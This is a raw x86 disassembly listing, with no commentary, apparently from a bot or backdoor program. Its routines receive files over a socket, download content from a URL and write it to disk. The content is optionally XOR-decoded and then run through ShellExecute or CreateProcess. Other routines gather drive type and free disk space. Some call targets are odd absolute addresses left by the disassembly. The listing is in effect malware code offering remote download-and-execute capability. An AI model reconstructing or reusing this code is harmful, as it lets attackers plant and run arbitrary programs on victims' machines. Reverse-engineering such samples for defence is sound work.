		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_43750C


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB03C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2760000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFF4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAFBC
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 265098Ch
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374E0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB03C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374C8
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0922h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437644
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 265098Ch
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375F4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAFA0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374C8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375C8
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB03C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAEA8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 26F0922h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437810
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2680D52h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAEB0
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26E0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377E8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C0


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCE0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437794
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 2680D52h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 265098Ch
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43776C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437734
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAF10
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437718
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376D4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D158
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650CD2h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAEFC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4376A0
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437674


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFD8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BD8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB004
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437864
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437860
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE94
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_4378B4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437878
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
